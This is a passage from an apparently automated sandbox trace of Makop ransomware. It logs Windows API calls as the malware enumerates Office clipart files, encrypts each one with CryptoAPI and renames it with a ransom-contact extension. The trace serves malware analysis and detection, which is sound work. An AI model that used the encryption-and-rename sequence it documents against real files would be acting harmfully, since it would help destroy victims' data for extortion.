Office\\CLIPART\\PUB60COR\\AN01218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.920] CloseHandle (hObject=0xf0) returned 1 [0106.920] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0106.920] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0106.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.921] GetProcessHeap () returned 0x48a0000 [0106.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.921] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0106.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.926] GetProcessHeap () returned 0x48a0000 [0106.926] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.926] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.928] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xac4, lpOverlapped=0x0) returned 1 [0106.928] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0, dwBufLen=0xad0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0) returned 1 [0106.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xad0, lpOverlapped=0x0) returned 1 [0106.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.928] SetEndOfFile (hFile=0xf0) returned 1 [0106.935] GetProcessHeap () returned 0x48a0000 [0106.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.935] GetProcessHeap () returned 0x48a0000 [0106.936] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.936] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.937] CloseHandle (hObject=0xf0) returned 1 [0106.937] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0106.938] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0106.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.938] GetProcessHeap () returned 0x48a0000 [0106.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.938] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.957] GetProcessHeap () returned 0x48a0000 [0106.957] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.959] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ccc, lpOverlapped=0x0) returned 1 [0106.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cd0) returned 1 [0106.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1cd0, lpOverlapped=0x0) returned 1 [0106.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.962] SetEndOfFile (hFile=0xf0) returned 1 [0106.969] GetProcessHeap () returned 0x48a0000 [0106.969] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.970] GetProcessHeap () returned 0x48a0000 [0106.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.971] CloseHandle (hObject=0xf0) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0106.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0106.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.974] GetProcessHeap () returned 0x48a0000 [0106.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.974] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0106.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.979] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.979] GetProcessHeap () returned 0x48a0000 [0106.979] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.979] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.979] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.980] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.980] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.981] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d74, lpOverlapped=0x0) returned 1 [0106.982] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d80) returned 1 [0106.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d80, lpOverlapped=0x0) returned 1 [0106.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.983] SetEndOfFile (hFile=0xf0) returned 1 [0106.991] GetProcessHeap () returned 0x48a0000 [0106.991] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.991] GetProcessHeap () returned 0x48a0000 [0106.991] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.991] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.993] CloseHandle (hObject=0xf0) returned 1 [0106.993] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0106.993] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0106.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.994] GetProcessHeap () returned 0x48a0000 [0106.994] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.994] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.003] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.003] GetProcessHeap () returned 0x48a0000 [0107.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.003] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.005] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19e8, lpOverlapped=0x0) returned 1 [0107.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19f0) returned 1 [0107.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19f0, lpOverlapped=0x0) returned 1 [0107.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.007] SetEndOfFile 